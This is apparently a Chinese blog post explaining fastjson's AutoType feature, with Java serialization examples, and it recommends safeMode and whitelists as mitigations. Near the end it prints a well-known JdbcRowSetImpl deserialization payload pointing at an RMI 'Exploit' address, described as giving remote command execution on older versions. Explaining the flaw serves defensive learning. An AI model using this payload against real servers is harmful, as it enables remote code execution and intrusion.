阅读:64
参考 https://juejin.cn/post/6846687594130964488
fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。
其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。
假设我们有以下Java类:
public interface Fruit {
}
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Apple implements Fruit{
private BigDecimal price;
}
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Store {
private String name;
private Fruit fruit;
}
那么问题来了,我们上面的定义的Fruit只是一个接口,序列化的时候fastjson能够把属性值正确序列化出来吗?如果可以的话,那么反序列化的时候,fastjson会把这个fruit反序列化成什么类型呢?
我们尝试着验证一下,基于(fastjson 1.2.75):
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
我们创建了一个store,为他指定了名称,并且创建了一个Fruit的子类型Apple,然后将这个store使用 JSON.toJSONString
进行序列化,可以得到以下JSON内容:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
那么,这个fruit的类型到底是什么呢,能否反序列化成Apple呢?我们再来执行以下代码:
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
执行结果报错,我们尝试将Fruit转换成Apple,但是抛出了异常。
以上现象,我们知道,当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。
那么有什么办法解决这个问题呢,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来。
使用方法是通过 SerializerFeature.WriteClassName
进行标记,即将上述代码中的
String jsonString = JSON.toJSONString(store);
修改成:
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
输出结果如下:
{
"@type":"com.example.redis.entity.Store",
"fruit":{
"@type":"com.example.redis.entity.Apple", //多了@type映射全类名,反序列就可以找到对应的类
"price":0.5
},
"name":"Hollis"
}
这就是AutoType,以及fastjson中引入AutoType的原因。
首先,可以通过
ParserConfig.getGlobalInstance().isAutoTypeSupport(); //获取是否允许AutoType(默认是fasle)
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 设置全局支持或禁止AutoType
尝试关闭AutoType后:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 设置全局支持或禁止AutoType
发现以上的代码还是可以 正常
的根据@type字段来反序列化。
但是如果使用了范型,如下:
再有以下Java类:
@Data
@AllArgsConstructor
@NoArgsConstructor
@ToString
public class Result<T>{
private T data;
}
再对Store进行封装:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
//ParserConfig.getGlobalInstance().setSafeMode(true);
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
Result<Store> t = new Result<>(store);
String jsonString = JSON.toJSONString(t, SerializerFeature.WriteClassName);
System.out.println("toJSONString : " + jsonString);
Result result = JSON.parseObject(jsonString, Result.class);
System.out.println("parseObject : " + result);
输出结果:
toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
com.alibaba.fastjson.JSONException: autoType is not support. // 异常autoType is not support
....
若开启setAutoTypeSupport(true),
toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
parseObject : Result(data=Store(name=Hollis, fruit=Apple(price=0.5))) //可以正常反序列化
因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type
到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。
那么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type
指定一个自己想要使用的攻击类库。
举个例子,黑客比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl
,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
而fastjson在反序列化时会调用目标类的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果。
如通过以下方式定一个JSON串,即可实现远程命令执行(在早期版本中,新版本中JdbcRowSetImpl已经被加了黑名单)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。
这些漏洞的利用几乎都是围绕AutoType来的,于是,在 v1.2.68版本中,引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化类变种攻击。
设置了safeMode后,@type 字段不再生效,即当解析形如{"@type": “com.java.class”}的JSON串时,将不再反序列化出对应的类。(无论白名单和黑名单,都不支持autoType)。
ParserConfig.getGlobalInstance().setSafeMode(true);
所以一般使用AutoType时建议使用指定白名单的方式。
// 全局开启AutoType,不建议使用
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 建议使用这种方式,小范围指定白名单
ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");